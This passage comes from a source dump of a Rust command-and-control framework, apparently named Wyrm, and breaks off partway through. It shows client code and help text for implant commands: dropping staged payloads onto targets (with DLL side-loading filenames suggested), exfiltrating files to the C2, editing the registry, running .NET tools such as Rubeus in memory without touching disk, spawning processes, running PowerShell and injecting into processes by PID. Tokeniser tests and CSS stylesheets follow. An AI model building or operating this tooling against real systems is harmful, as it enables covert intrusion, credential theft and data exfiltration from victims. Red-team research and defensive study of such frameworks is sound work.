let messages: Vec<String> = match command {\n        \"drop\" => vec![\n            \"Drops a file to disk. The file dropped must be staged on the C2 first, otherwise the process will not complete.\".into(),\n            \"This command will drop the payload into the CURRENT working directory of the agent.\".into(),\n            \"Arg1: The colloquial server name for the file you are dropping (appears in the Staged Resources panel as the 'Name' column)\".into(),\n            \"Arg2: The destination filename of what you want to drop, if you want this file to have an extension, you must included that.\".into(),\n            \"          For example, if dropping a DLL staged as my_dll, you may wish to do: drop my_dll version.dll, which will save the DLL as version.dll on disk.\".into(),\n        ],\n        \"pull\" => vec![\n            \"Usage: pull <file path>\".into(),\n            \"Exfiltrates a file to the C2 by its file path, which can be relative or absolute. This will upload the file to the\".into(),\n            \"C2 and save it under: c2/<target hostname>/<file path as per targets full path>.\".into(),\n            \"If a file already exists at that location, it will be overwritten. Note, using `pull` will cause the file to be uploaded as a buffered stream\".into(),\n            \"meaning you can exfiltrate files of any size without causing the device to go out of memory.\".into(),\n        ],\n        \"reg query\" => vec![\n            \"Usage: reg query <path_to_key> <OPTIONAL: value>\".into(),\n            \"Queries the registry by a path to the key, with an optional value if you wish to query only a specific value\".into(),\n            \"If the path contains whitespace, ensure you wrap it in \\\"quotes\\\".\".into(),\n        ],\n        \"reg\" => vec![\n            \"reg query\".into(),\n            \"Usage: reg query <path_to_key> <OPTIONAL: value>\".into(),\n            \"Queries the registry by a path to the key, with an optional value if you wish to query only a specific value\".into(),\n            \"If the path contains whitespace, ensure you wrap it in \\\"quotes\\\".\".into(),\n            \"\".into(),\n            \"\".into(),\n            \"reg add\".into(),\n            \"Usage: reg add <path_to_key> <value name> <value data> <data type>\".into(),\n            \"Modifies the registry by either adding a new key if it did not already exist, or updating an existing key.\".into(),\n            \"For the data type, you should specify either: string, DWORD, or QWORD depending on the data you are writing.\".into(),\n            \"You can then check the addition by running reg query <args>.\".into(),\n            \"\".into(),\n            \"\".into(),\n            \"reg del\".into(),\n            \"Usage: reg del <path_to_key> <Optional: value name>\".into(),\n            \"Deletes a registry key, or value, based on above args. Deleting the key will delete all sub-keys under it, so take care.\".into(),\n        ],\n        \"dotex\" => vec![\n            \"dotex <binary> <args>\".into(),\n            \"Executes a dotnet binary in memory within the implant, without having it drop to disk! currently, this only executes within the implants\".into(),\n            \"process, meaning if you run a never ending dotnet binary, you will (probably) lose that beacon.\".into(),\n            \"\".into(),\n            \"To stage a dotnet binary, where the C2 is installed (outside of docker) you will find a folder in the Wyrm root called c2_transfer.\".into(),\n            \"Simply drag a file into this directory and it will be auto-copied into the C2 without needing a restart. Whatever you call\".into(),\n            \"that binary, you can then invoke it with dotex. For example, if you drop Rubeus.exe into c2_transfer, you can run Rubeus in the\".into(),\n            \"agent via: dotex Rubeus.exe klist.\".into(),\n            \"\".into(),\n            \"The results of the execution will then be shown in your output terminal in the GUI.\".into(),\n        ],\n        _ => vec![\"No help pages available for this command, or it does not exist.\".into()],\n    };\n\n    if let IsTaskingAgent::Yes(agent_id) = agent {\n        let connected_agents: RwSignal<HashMap<String, RwSignal<Agent>>> =\n            use_context().expect(\"could not get RwSig connected_agents\");\n        let mut lock = connected_agents.write();\n\n        if let Some(agent) = (*lock).get_mut(agent_id) {\n            agent.update(|guard| {\n                guard.output_messages.push(TabConsoleMessages {\n                    completed_id: 0,\n                    event: \"HelpMenu\".into(),\n                    time: \"-\".into(),\n                    messages,\n                })\n            });\n        }\n    }\n\n    Ok(None)\n}\n\npub async fn run_powershell_command(args: &[&str], agent: &IsTaskingAgent) -> DispatchResult {\n    agent.has_agent_id()?;\n\n    let mut args_string: String = String::new();\n    for arg in args {\n        args_string += arg;\n        args_string += \" \";\n    }\n\n    let args_trimmed = args_string.trim().to_string();\n\n    Ok(Some(\n        api_request(\n            AdminCommand::Run(args_trimmed),\n            agent,\n            None,\n            C2Url::Standard,\n            None,\n        )\n        .await?,\n    ))\n}\n\n/// Instructs the agent to drop a staged file onto disk on the target endpoint.\npub async fn file_dropper(args: &[&str], agent: &IsTaskingAgent) -> DispatchResult {\n    agent.has_agent_id()?;\n\n    if args.len() != 2 {\n        return Err(TaskingError::TaskDispatchError(\n            TaskDispatchError::BadTokens(\n                \"Invalid number of args passed into the `drop` command.\".into(),\n            ),\n        ));\n    }\n\n    if args[0].contains(DELIM_FILE_DROP_METADATA) || args[1].contains(DELIM_FILE_DROP_METADATA) {\n        return Err(TaskingError::TaskDispatchError(\n            TaskDispatchError::BadTokens(\"Input cannot contain a comma.\".into()),\n        ));\n    }\n\n    let file_data = FileDropMetadata {\n        internal_name: args[0].to_string(),\n        download_name: args[1].to_string(),\n        // This is computed on the C2\n        download_uri: None,\n    };\n\n    let response = api_request(\n        AdminCommand::Drop(file_data),\n        agent,\n        None,\n        C2Url::Standard,\n        None,\n    )\n    .await?;\n\n    let result = serde_json::from_slice::<WyrmResult<String>>(&response)\n        .expect(\"could not deser response from Drop\");\n\n    if let WyrmResult::Err(e) = result {\n        if let IsTaskingAgent::Yes(agent_id) = agent {\n            let connected_agents: RwSignal<HashMap<String, RwSignal<Agent>>> =\n                use_context().expect(\"could not get RwSig connected_agents\");\n            let mut lock = connected_agents.write();\n\n            if let Some(agent) = (*lock).get_mut(agent_id) {\n                agent.update(|a| {\n                    a.output_messages\n                        .push(TabConsoleMessages::non_agent_message(\"[Drop]\".into(), e))\n                });\n            }\n        }\n    }\n\n    Ok(None)\n}\n\npub enum RegOperationDelQuery {\n    Query,\n    Delete,\n}\n\n/// Queries or deletes a registry key.\n///\n/// Arg for [`RegOperationDelQuery`] specifies the tasking.\npub async fn reg_query_del(\n    inputs: String,\n\n    agent: &IsTaskingAgent,\n    operation: RegOperationDelQuery,\n) -> DispatchResult {\n    agent.has_agent_id()?;\n\n    if inputs.is_empty() {\n        leptos::logging::log!(\"Please specify options.\");\n    }\n\n    //\n    // We have a max of 2 values we can get from this task. The first is specifying a key and value,\n    // second is just the key.\n    //\n    // The strategy here is to try resolve 2 strings in the input, if that fails, we try 1 string, then we have\n    // the proper options\n    //\n\n    let reg_query_options = split_string_slices_to_n(2, &inputs, DiscardFirst::ChopTwo);\n    let mut reg_query_options = if reg_query_options.is_none() {\n        match split_string_slices_to_n(1, &inputs, DiscardFirst::ChopTwo) {\n            Some(s) => s,\n            None => {\n                return Err(TaskingError::TaskDispatchError(\n                    TaskDispatchError::BadTokens(\"Could not find options for command\".into()),\n                ));\n            }\n        }\n    } else {\n        reg_query_options.unwrap()\n    };\n\n    let query_data: RegQueryInner = if reg_query_options.len() == 2 {\n        (\n            take(&mut reg_query_options[0]),\n            Some(take(&mut reg_query_options[1])),\n        )\n    } else {\n        (take(&mut reg_query_options[0]), None)\n    };\n\n    let result = match operation {\n        RegOperationDelQuery::Query => {\n            api_request(\n                AdminCommand::RegQuery(query_data),\n                agent,\n                None,\n                C2Url::Standard,\n                None,\n            )\n            .await?\n        }\n        RegOperationDelQuery::Delete => {\n            api_request(\n                AdminCommand::RegDelete(query_data),\n                agent,\n                None,\n                C2Url::Standard,\n                None,\n            )\n            .await?\n        }\n    };\n\n    Ok(Some(result))\n}\n\n/// Queries a registry key\npub async fn reg_add(inputs: String, agent: &IsTaskingAgent) -> DispatchResult {\n    agent.has_agent_id()?;\n\n    if inputs.is_empty() {\n        leptos::logging::log!(\"Please specify options.\");\n    }\n\n    //\n    // We have a max of 2 values we can get from this task. The first is specifying a key and value,\n    // second is just the key.\n    //\n    // The strategy here is to try resolve 2 strings in the input, if that fails, we try 1 string, then we have\n    // the proper options\n    //\n\n    let mut reg_add_options = split_string_slices_to_n(4, &inputs, DiscardFirst::ChopTwo)\n        .ok_or_else(|| {\n            TaskingError::TaskDispatchError(TaskDispatchError::BadTokens(\n                \"Could not find options for command\".into(),\n            ))\n        })?;\n\n    let reg_type = match reg_add_options[3].as_str() {\n        \"string\" | \"String\" => RegType::String,\n        \"u32\" | \"U32\" | \"dword\" | \"DWORD\" => RegType::U32,\n        \"u64\" | \"U64\" | \"qword\" | \"QWORD\" => RegType::U64,\n        _ => {\n            return Err(TaskingError::TaskDispatchError(TaskDispatchError::BadTokens(\n                \"Could not extrapolate type, the final param should be either string, dword, or qword depending on the data type\".into(),\n            )));\n        }\n    };\n\n    // Validate input before we get to the implant..\n    if validate_reg_type(reg_add_options[2].as_str(), reg_type).is_err() {\n        return Err(TaskingError::TaskDispatchError(\n            TaskDispatchError::BadTokens(format!(\n                \"Could not parse value for the type specified. Tried parsing {} as {}\",\n                reg_add_options[2], reg_add_options[3],\n            )),\n        ));\n    };\n\n    let query_data: RegAddInner = (\n        take(&mut reg_add_options[0]),\n        take(&mut reg_add_options[1]),\n        take(&mut reg_add_options[2]),\n        reg_type,\n    );\n\n    Ok(Some(\n        api_request(\n            AdminCommand::RegAdd(query_data),\n            agent,\n            None,\n            C2Url::Standard,\n            None,\n        )\n        .await?,\n    ))\n}\n\npub async fn dotex(inputs: String, agent: &IsTaskingAgent) -> DispatchResult {\n    agent.has_agent_id()?;\n\n    if inputs.is_empty() {\n        leptos::logging::log!(\"Please specify options.\");\n    }\n\n    let slices = split_string_slices_to_n(0, &inputs, DiscardFirst::Chop).ok_or_else(|| {\n        TaskingError::TaskDispatchError(TaskDispatchError::BadTokens(\n            \"Could not find options for command\".into(),\n        ))\n    })?;\n\n    if slices.is_empty() {\n        return Err(TaskingError::TaskDispatchError(\n            TaskDispatchError::BadTokens(\"Options were empty. Cannot continue.\".into()),\n        ));\n    }\n\n    let tool = slices[0].clone();\n    let args = slices[1..].to_vec();\n\n    let inner = DotExInner::from(tool, args);\n\n    Ok(Some(\n        api_request(\n            AdminCommand::DotEx(inner),\n            agent,\n            None,\n            C2Url::Standard,\n            None,\n        )\n        .await?,\n    ))\n}\n\npub async fn whoami(agent: &IsTaskingAgent) -> DispatchResult {\n    agent.has_agent_id()?;\n\n    Ok(Some(\n        api_request(AdminCommand::WhoAmI, agent, None, C2Url::Standard, None).await?,\n    ))\n}\n\npub async fn spawn(raw_input: String, agent: &IsTaskingAgent) -> DispatchResult {\n    agent.has_agent_id()?;\n    let target_path = match split_string_slices_to_n(1, &raw_input, DiscardFirst::Chop) {\n        Some(mut inner) => take(&mut inner[0]),\n        None => {\n            return Err(TaskingError::TaskDispatchError(\n                TaskDispatchError::BadTokens(\"Could not get data from tokens in move_file.\".into()),\n            ));\n        }\n    };\n\n    Ok(Some(\n        api_request(\n            AdminCommand::Spawn(target_path),\n            agent,\n            None,\n            C2Url::Standard,\n            None,\n        )\n        .await?,\n    ))\n}\n\npub async fn run_static_wof(agent: &IsTaskingAgent, raw_input: String) -> DispatchResult {\n    agent.has_agent_id()?;\n\n    let mut builder = vec![];\n    let args = match split_string_slices_to_n(2, &raw_input, DiscardFirst::Chop) {\n        Some(mut inner) => {\n            builder.push(take(&mut inner[0]));\n\n            let mut args = take(&mut inner[1]);\n            args.push('\\0'); // add a null byte on for C compat\n            builder.push(args);\n            Some(builder)\n        }\n        None => match split_string_slices_to_n(1, &raw_input, DiscardFirst::Chop) {\n            Some(mut s) => {\n                builder.push(take(&mut s[0]));\n                Some(builder)\n            }\n            None => None,\n        },\n    };\n\n    let ser = match serde_json::to_string(&args) {\n        Ok(s) => s,\n        Err(e) => {\n            return Err(TaskingError::TaskDispatchError(\n                TaskDispatchError::DeserialisationError(e),\n            ));\n        }\n    };\n\n    Ok(Some(\n        api_request(\n            AdminCommand::StaticWof(ser),\n            agent,\n            None,\n            C2Url::Standard,\n            None,\n        )\n        .await?,\n    ))\n}\n\npub async fn inject(agent: &IsTaskingAgent, raw_input: String) -> DispatchResult {\n    agent.has_agent_id()?;\n\n    let (payload, pid_as_string) = match split_string_slices_to_n(2, &raw_input, DiscardFirst::Chop)\n    {\n        Some(mut inner) => (take(&mut inner[0]), (take(&mut inner[1]))),\n        None => {\n            return Err(TaskingError::TaskDispatchError(\n                TaskDispatchError::BadTokens(\"Could not get data from tokens in move_file.\".into()),\n            ));\n        }\n    };\n\n    let Ok(pid) = pid_as_string.parse::<u32>() else {\n        return Err(TaskingError::TaskDispatchError(\n            TaskDispatchError::BadTokens(format!(\n                \"Could not parse PID to a u32. Got: {pid_as_string}\"\n            )),\n        ));\n    };\n\n    let inner = InjectInnerForAdmin {\n        download_name: payload,\n        pid,\n    };\n\n    Ok(Some(\n        api_request(\n            AdminCommand::Inject(inner),\n            agent,\n            None,\n            C2Url::Standard,\n            None,\n        )\n        .await?,\n    ))\n}\n"
  },
  {
    "path": "client/src/tasks/utils.rs",
    "content": "use std::mem::take;\n\nuse shared::task_types::RegType;\n\n/// Splits a string into exactly `n` chunks, treating quoted substrings as single tokens.\n/// Optionally discards the first token, which is useful if the input string begins with a command.\n///\n/// # Args\n/// * `n` - The expected number of resulting tokens. If you have no expectation (it is open ended) set `n` to 0.\n/// * `strs` - The input string slice to be tokenised.  \n/// * `discard_first` - Whether the first discovered token should be discarded (`Chop`) or kept (`DontChop`). If you\n///   wish to chop the first 2 params, select [`DiscardFirst::ChopTwo`]\n///\n/// # Returns\n/// Returns `Some(Vec<String>)` if exactly `n` tokens are produced after processing,  \n/// otherwise returns `None`.\n///\n/// # Example\n/// ```\n/// let s = \"a b  \\\"c d\\\" e\".to_string();\n/// assert_eq!(\n///     split_string_slices_to_n(4, &s, DiscardFirst::DontChop),\n///     Some(vec![\n///         \"a\".to_string(),\n///         \"b\".to_string(),\n///         \"c d\".to_string(),\n///         \"e\".to_string(),\n///     ])\n/// )\n/// ```\npub fn split_string_slices_to_n(\n    n: usize,\n    strs: &str,\n    mut discard_first: DiscardFirst,\n) -> Option<Vec<String>> {\n    // Account for chopping first 2 params\n    let mut discarding_two = false;\n    if discard_first == DiscardFirst::ChopTwo {\n        discard_first = DiscardFirst::Chop;\n        discarding_two = true;\n    }\n\n    // Flatten the slices\n    let mut chunks: Vec<String> = Vec::new();\n    let mut s = String::new();\n    let mut toggle: bool = false;\n\n    for c in strs.chars() {\n        if c == '\"' {\n            if toggle {\n                toggle = false;\n                if !s.is_empty() {\n                    chunks.push(take(&mut s));\n                }\n                s.clear();\n            } else {\n                // Start of a quoted string\n                toggle = true;\n            }\n        } else if c == ' ' && !toggle {\n            if discard_first == DiscardFirst::Chop && chunks.is_empty() {\n                discard_first = DiscardFirst::DontChop;\n                s.clear();\n            }\n\n            if !s.is_empty() {\n                chunks.push(take(&mut s));\n            }\n            s.clear();\n        } else {\n            s.push(c);\n        }\n    }\n\n    // Handle the very last chunk which didn't get pushed by the loop\n    if !s.is_empty() {\n        chunks.push(s);\n    }\n\n    // Account for chopping first 2 params\n    if discarding_two {\n        chunks.remove(0);\n    }\n\n    if chunks.len() != n && n != 0 {\n        return None;\n    }\n\n    Some(chunks)\n}\n\n/// Determines whether the [`split_string_slices_to_n`] function should discard the first\n/// found substring or not - this would be useful where the command is present in the input\n/// string.\n#[derive(PartialEq, Eq)]\npub enum DiscardFirst {\n    Chop,\n    ChopTwo,\n    DontChop,\n}\n\n#[cfg(test)]\nmod tests {\n    use super::*;\n\n    #[test]\n    fn tokens_with_no_quotes() {\n        let s = \"a b  c d e f    g    \".to_string();\n        assert_eq!(\n            split_string_slices_to_n(7, &s, DiscardFirst::DontChop),\n            Some(vec![\n                \"a\".to_string(),\n                \"b\".to_string(),\n                \"c\".to_string(),\n                \"d\".to_string(),\n                \"e\".to_string(),\n                \"f\".to_string(),\n                \"g\".to_string()\n            ])\n        )\n    }\n\n    #[test]\n    fn tokens_with_quotes_space() {\n        let s = \"a b  \\\"c  d\\\" e\".to_string();\n        assert_eq!(\n            split_string_slices_to_n(4, &s, DiscardFirst::DontChop),\n            Some(vec![\n                \"a\".to_string(),\n                \"b\".to_string(),\n                \"c  d\".to_string(),\n                \"e\".to_string(),\n            ])\n        )\n    }\n\n    #[test]\n    fn tokens_with_quotes() {\n        let s = \"a b  \\\"c d\\\" e\".to_string();\n        assert_eq!(\n            split_string_slices_to_n(4, &s, DiscardFirst::DontChop),\n            Some(vec![\n                \"a\".to_string(),\n                \"b\".to_string(),\n                \"c d\".to_string(),\n                \"e\".to_string(),\n            ])\n        )\n    }\n\n    #[test]\n    fn tokens_bad_count() {\n        let s = \"a b  \\\"c d\\\" e\".to_string();\n        assert_eq!(\n            split_string_slices_to_n(5, &s, DiscardFirst::DontChop),\n            None\n        )\n    }\n}\n\npub fn validate_reg_type(input: &str, reg_type: RegType) -> Result<(), ()> {\n    match reg_type {\n        RegType::String => (),\n        RegType::U32 => {\n            if let Err(_) = input.parse::<u32>() {\n                return Err(());\n            }\n        }\n        RegType::U64 => {\n            if let Err(_) = input.parse::<u64>() {\n                return Err(());\n            }\n        }\n    }\n\n    Ok(())\n}\n"
  },
  {
    "path": "client/static/main_styles.css",
    "content": ":root{\n  --agents-h: 30%;\n  --input-h: 48px;\n  --bg: rgb(36,39,58);\n  --link: rgb(202, 211, 245);\n  --link-hover: rgb(240, 198, 198);\n  --page-inner-box: rgb(54, 58, 79);\n  --text-color: rgb(202, 211, 245);\n}\n\nhtml, body { height:100%; margin:0; }\n\nbody.app{\n  display:grid;\n  grid-template-rows: auto var(--agents-h) auto 1fr var(--input-h);\n  min-height:100vh;\n  /* overflow:hidden; */\n  background: var(--bg);\n}\n\n.container {\n  max-width: 960px;\n}\n\nnav a {\n  color: var(--link)!important;\n}\n\nnav a:hover {\n  color: var(--link-hover)!important;\n}\n\nnav a.active {\n  color: var(--link-hover)!important;\n}\n\nnav a.plain {\n  color: var(--link)!important;\n}\n\n.dropdown-menu { \n  background-color: rgb(54, 58, 79);\n}\n\n.dropdown-item:hover {\n  background-color: rgb(73, 77, 100);\n}\n\n#connected-agent-container{\n  overflow:auto;\n  margin-bottom: 10px;\n}\n\ndiv#connected-agent-container div {\n  padding:  3px 0 3px 0;\n}\n\ndiv#connected-agent-container a {\n  font-family: Arial, Helvetica, sans-serif;\n  color: var(--link);\n  text-decoration: none;\n}\n\ndiv#connected-agent-container a:hover {\n  color: var(--link-hover);\n}\n\ndiv#connected-agent-container div#agents-header {\n  height: 20px;\n  font-weight: bold!important;\n  margin-bottom: 8px!important;\n  color: var(--link);\n}\n\ndiv.center-table {\n  overflow-y: scroll!important;\n}\n\n#display-panel {\n  margin-top: 20px;\n}\n\n#display-panel ul {\n  overflow-y: hidden!important;\n}\n\n#display-panel a {\n  color: rgb(238, 212, 159);\n}\n\n#display-panel a:hover {\n  color: rgb(238, 153, 160);\n}\n\n#display-panel a.active {\n  background-color: rgb(36, 39, 58)!important;\n  color: rgb(24, 25, 38)!important;\n}\n\n#message-panel{\n  overflow:auto;\n  padding: 15px 15px 0 15px!important;\n  background: var(--page-inner-box);\n  padding-bottom: var(--input-h);\n  scrollbar-gutter: stable both-edges;\n  color: var(--link);\n  font-size: 14px;\n}\n\n.site-header {\n  background-color: rgb(54, 58, 79);\n  -webkit-backdrop-filter: saturate(180%) blur(20px);\n  backdrop-filter: saturate(180%) blur(20px);\n}\n.site-header a {\n  color: #999;\n  transition: ease-in-out color .15s;\n}\n.site-header a:hover {\n  color: #fff;\n  text-decoration: none;\n}\n\n.border-top { border-top: 1px solid #e5e5e5; }\n.border-bottom { border-bottom: 1px solid #e5e5e5; }\n\n.box-shadow { box-shadow: 0 .25rem .75rem rgba(0, 0, 0, .05); }\n\n.flex-equal > * {\n  -ms-flex: 1;\n  -webkit-box-flex: 1;\n  flex: 1;\n}\n@media (min-width: 768px) {\n  .flex-md-equal > * {\n    -ms-flex: 1;\n    -webkit-box-flex: 1;\n    flex: 1;\n  }\n}\n\n.overflow-hidden { overflow: hidden; }\n\n.overflow-x-auto {\n  overflow-x: auto;\n  overflow-y: hidden!important;\n  -webkit-overflow-scrolling: touch;\n}\n\n.input-strip {\n  position: fixed;\n  bottom: 0;\n  left: 0;\n  right: 0;\n  height: 48px;\n  background-color: #2b2d42;\n  border-top: 1px solid #444;\n  z-index: 1030;\n}\n\n#input-strip{\n  background:#2b2d42;\n  border-top:1px solid #444;\n  color: var(--link);\n}\n\n.input-strip input {\n  background: transparent;\n  border: none;\n  color: rgb(36, 39, 58);\n  background-color: rgb(147, 154, 183);\n}\n\n.input-strip button {\n  margin-left: 20px!important;\n}\n\n.input-strip input:focus {\n  outline: none;\n  box-shadow: none;\n}\n\n.tabbar{\n  overflow-x:auto;\n  overflow-y:hidden;\n  background: var(--bg);\n  border-bottom: 1px solid #616779;\n  -webkit-overflow-scrolling: touch;\n}\n\n.tabbar .nav-link { color: rgb(238,212,159); }\n.tabbar .nav-link:hover { color: rgb(238,153,160); }\n.tabbar .nav-link.active{\n  background: var(--page-inner-box);\n  color: var(--link-hover) !important;\n}\n\n.tabbar::-webkit-scrollbar { height:6px; }\n.tabbar::-webkit-scrollbar-thumb { background:#868e96; border-radius:3px; }\n.tabbar { scrollbar-width:thin; scrollbar-color:#868e96 transparent; }\n\na.agent-stale {\n  color: rgb(128, 135, 162)!important;\n}\n\n#file-upload-form, #stage-all-form {\n  background-color: var(--page-inner-box);\n}\n\n.app-page, .app-page p {\n  color: rgb(202, 211, 245);\n}\n\ndiv.form-text {\n  color: rgb(165, 173, 203);\n}\n\n.dropdown-item.active, .dropdown-item:active {\n  background-color: rgb(54, 58, 79);\n}\n\n#building-indicator { display: none; }\n\n.htmx-request#building-indicator { display: block; }\n\ndiv.alert-wyrm {\n  background-color: rgb(244, 219, 214);\n  color: var(--page-inner-box);\n}\n\ntable#staged-resources-tbl, \ntable#staged-resources-tbl thead, \ntable#staged-resources-tbl tbody, \ntable#staged-resources-tbl tr th,\ntable#staged-resources-tbl tr td,\ntable#staged-resources-tbl tr {\n  background-color: var(--page-inner-box)!important;\n  color: var(--text-color)!important;\n}\n\ntable#staged-resources-tbl tr td a {\n  color: var(--link-hover);\n  text-decoration: none;\n}\n\ntable#staged-resources-tbl tr td a:hover {\n  color: var(--link);\n  text-decoration: none;\n}"
  },
  {
    "path": "client/static/styles.css",
    "content": ":root{\n  --agents-h: 30%;\n  --input-h: 48px;\n  --bg: rgb(36,39,58);\n  --link: rgb(202, 211, 245);\n  --link-hover: rgb(240, 198, 198);\n  --page-inner-box: rgb(54, 58, 79);\n  --text-color: rgb(202, 211, 245);\n}\n\nhtml, body { height: 100%; margin: 0; }\n\n/* --- app layout (your \"body 2\") --- */\nbody.app{\n  display: grid;\n  grid-template-rows: auto var(--agents-h) auto 1fr var(--input-h);\n  min-height: 100vh;\n  background: var(--bg);\n}\n\n/* --- login layout (only when body has .login) --- */\nbody.login{\n  min-height: 100vh;\n  display: flex;\n  align-items: center;\n  justify-content: center;\n  padding-block: 40px;\n  background: #000;\n}\n\n/* the container itself; keep it simple */\n.login-container{\n  display: flex;\n  align-items: center;\n  justify-content: center;\n  width: 100%;\n  max-width: 440px;   /* tweak as needed */\n}\n\ndiv.login-container {\n  display: -ms-flexbox;\n  display: -webkit-box;\n  display: flex;\n  -ms-flex-align: center;\n  -ms-flex-pack: center;\n  -webkit-box-align: center;\n  align-items: center;\n  -webkit-box-pack: center;\n  justify-content: center;\n  padding-top: 40px;\n  padding-bottom: 40px;\n  background-color: rgb(0,0,0);\n}\n\n.form-signin {\n  width: 100%;\n  max-width: 330px;\n  padding: 15px;\n  margin: 0 auto;\n  color: rgb(244, 219, 214);\n}\n.form-signin .checkbox {\n  font-weight: 400;\n}\n.form-signin .form-control {\n  position: relative;\n  box-sizing: border-box;\n  height: auto;\n  padding: 10px;\n  font-size: 16px;\n}\n.form-signin .form-control:focus {\n  z-index: 2;\n}\n.form-signin input[type=\"email\"] {\n  margin-bottom: -1px;\n  border-bottom-right-radius: 0;\n  border-bottom-left-radius: 0;\n}\n.form-signin input[type=\"password\"] {\n  margin-bottom: 10px;\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n}\n\nimg.logo{\n  width: 100%;\n}\n\nfooter {\n  width: 100%;\n  max-width: 330px;\n  padding: 15px;\n  margin: 0 auto;\n}\n\nfooter p {\n  color: rgb(73, 77, 100);\n}\n\nfooter a {\n  color: rgb(110, 115, 141);\n}\n\nfooter a:hover {\n  color: rgb(147, 154, 183);\n}\n\n.container {\n  max-width: 960px;\n}\n\nnav a {\n  color: var(--link)!important;\n}\n\nnav a:hover {\n  color: var(--link-hover)!important;\n}\n\nnav a.active {\n  color: var(--link-hover)!important;\n}\n\nnav a.plain {\n  color: var(--link)!important;\n}\n\n.dropdown-menu { \n  background-color: rgb(54, 58, 79);\n}\n\n.dropdown-item:hover {\n  background-color: rgb(73, 77, 100);\n}\n\n#connected-agent-container{\n  overflow:auto;\n  margin-bottom: 10px;\n}\n\ndiv#connected-agent-container div {\n  padding:  3px 0 3px 0;\n}\n\ndiv#connected-agent-container a {\n  font-family: Arial, Helvetica, sans-serif;\n  color: var(--link);\n  text-decoration: none;\n}\n\ndiv#connected-agent-container a:hover {\n  color: var(--link-hover);\n}\n\ndiv#connected-agent-container div#agents-header {\n  height: 20px;\n  font-weight: bold!important;\n  margin-bottom: 8px!important;\n  color: var(--link);\n}\n\ndiv.center-table {\n  overflow-y: scroll!important;\n}\n\n#display-panel {\n  margin-top: 20px;\n}\n\n#display-panel ul {\n  overflow-y: hidden!important;\n}\n\n#display-panel a {\n  color: rgb(238, 212, 159);\n}\n\n#display-panel a:hover {\n  color: rgb(238, 153, 160);\n}\n\n#display-panel a.active {\n  background-color: rgb(36, 39, 58)!important;\n  color: rgb(24, 25, 38)!important;\n}\n\n#message-panel{\n  overflow:auto;\n  padding: 15px 15px 0 15px!important;\n  background: var(--page-inner-box);\n  padding-bottom: var(--input-h);\n  scrollbar-gutter: stable both-edges;\n  color: var(--link);\n  font-size: 14px;\n}\n\n.site-header {\n  background-color: rgb(54, 58, 79);\n  -webkit-backdrop-filter: saturate(180%) blur(20px);\n  backdrop-filter: saturate(180%) blur(20px);\n}\n.site-header a {\n  color: #999;\n  transition: ease-in-out color .15s;\n}\n.site-header a:hover {\n  color: #fff;\n  text-decoration: none;\n}\n\n.border-top { border-top: 1px solid #e5e5e5; }\n.border-bottom { border-bottom: 1px solid #e5e5e5; }\n\n.box-shadow { box-shadow: 0 .25rem .75rem rgba(0, 0, 0, .05); }\n\n.flex-equal > * {\n  -ms-flex: 1;\n  -webkit-box-flex: 1;\n  flex: 1;\n}\n@media (min-width: 768px) {\n  .flex-md-equal > * {\n    -ms-flex: 1;\n    -webkit-box-flex: 1;\n    flex: 1;\n  }\n}\n\n.overflow-hidden { overflow: hidden; }\n\n.overflow-x-auto {\n  overflow-x: auto;\n  overflow-y: hidden!important;\n  -webkit-overflow-scrolling: touch;\n}\n\n.input-strip {\n  position: fixed;\n  bottom: 0;\n  left: 0;\n  right: 0;\n  height: 48px;\n  background-color: #2b2d42;\n  border-top: 1px solid #444;\n  z-index: 1030;\n}\n\n#input-strip{\n  background:#2b2d42;\n  border-top:1px solid #444;\n  color: var(--link);\n}\n\n.input-strip input {\n  background: transparent;\n  border: none;\n  color: rgb(36, 39, 58);\n  background-color: rgb(147, 154, 183);\n}\n\n.input-strip button {\n  margin-left: 20px!important;\n}\n\n.input-strip input:focus {\n  outline: none;\n  box-shadow: none;\n}\n\n.tabbar{\n  overflow-x:auto;\n  overflow-y:hidden;\n  background: var(--bg);\n  border-bottom: 1px solid #616779;\n  -webkit-overflow-scrolling: touch;\n}\n\n.tabbar .nav-link { color: rgb(238,212,159); }\n.tabbar .nav-link:hover { color: rgb(238,153,160); }\n.tabbar .nav-link.active{\n  background: var(--page-inner-box);\n  color: var(--link-hover) !important;\n}\n\n.tabbar .nav-item:not(:first-child) { position: relative; }\n.tabbar .nav-item:not(:first-child) .btn-close {\n  position: absolute;\n  right: 6px;\n  top: 50%;\n  transform: translateY(-50%);\n  margin: 0;\n  padding: 0.15rem 0.35rem;\n  opacity: 0.85;\n}\n.tabbar .nav-item:not(:first-child) .nav-link { padding-right: 2.25rem; }\n.tabbar::-webkit-scrollbar { height:6px; }\n.tabbar::-webkit-scrollbar-thumb { background:#868e96; border-radius:3px; }\n.tabbar { scrollbar-width:thin; scrollbar-color:#868e96 transparent; }\n\na.agent-stale {\n  color: rgb(128, 135, 162)!important;\n}\n\n#file-upload-form, #stage-all-form {\n  background-color: var(--page-inner-box);\n}\n\n.app-page, .app-page p {\n  color: rgb(202, 211, 245);\n}\n\ndiv.form-text {\n  color: rgb(165, 173, 203);\n}\n\n.dropdown-item.active, .dropdown-item:active {\n  background-color: rgb(54, 58, 79);\n}\n\n#building-indicator { display: none; }\n\n.htmx-request#building-indicator { display: block; }\n\ndiv.alert-wyrm {\n  background-color: rgb(244, 219, 214);\n  color: var(--page-inner-box);\n}\n\ntable#staged-resources-tbl, \ntable#staged-resources-tbl thead, \ntable#staged-resources-tbl tbody, \ntable#staged-resources-tbl tr th,\ntable#staged-resources-tbl tr td,\ntable#staged-resources-tbl tr {\n  background-color: var(--page-inner-box)!important;\n  color: var(--text-color)!important;\n}\n\ntable#staged-resources-tbl tr td a {\n  color: var(--link-hover);\n  text-decoration: none;\n}\n\ntable#staged-resources-tbl tr td a:hover {\n  color: var(--link);\n  text-decoration: none;\n}\n\np.msg-line {\n  margin-bottom: 0;\n  color: #eff1f5;\n  white-space: pre-wrap;\n}\n\n.console-line {\n  margin-bottom: 10px;\n}\n\n.jetbrains-gui {\n  font-family: \"JetBrains Mono\", monospace;\n  font-optical-sizing: auto;\n  font-weight: 400;\n  font-style: normal;\n}\n\n.jetbrains-gui-smaller {\n  font-family: \"JetBrains Mono\", monospace;\n  font-optical-sizing: auto;\n  font-weight: 400;\n  font-style: normal;\n  font-size: 14px;\n}\n\n.jetbrains-gui-smallest {\n    font-family: \"JetBrains Mono\", monospace;\n    font-optical-sizing: auto;\n    font-weight: 300;\n    font-style: normal;\n    font-size: 13px;\n}"
  },
  {
    "path": "docker-compose.yml",
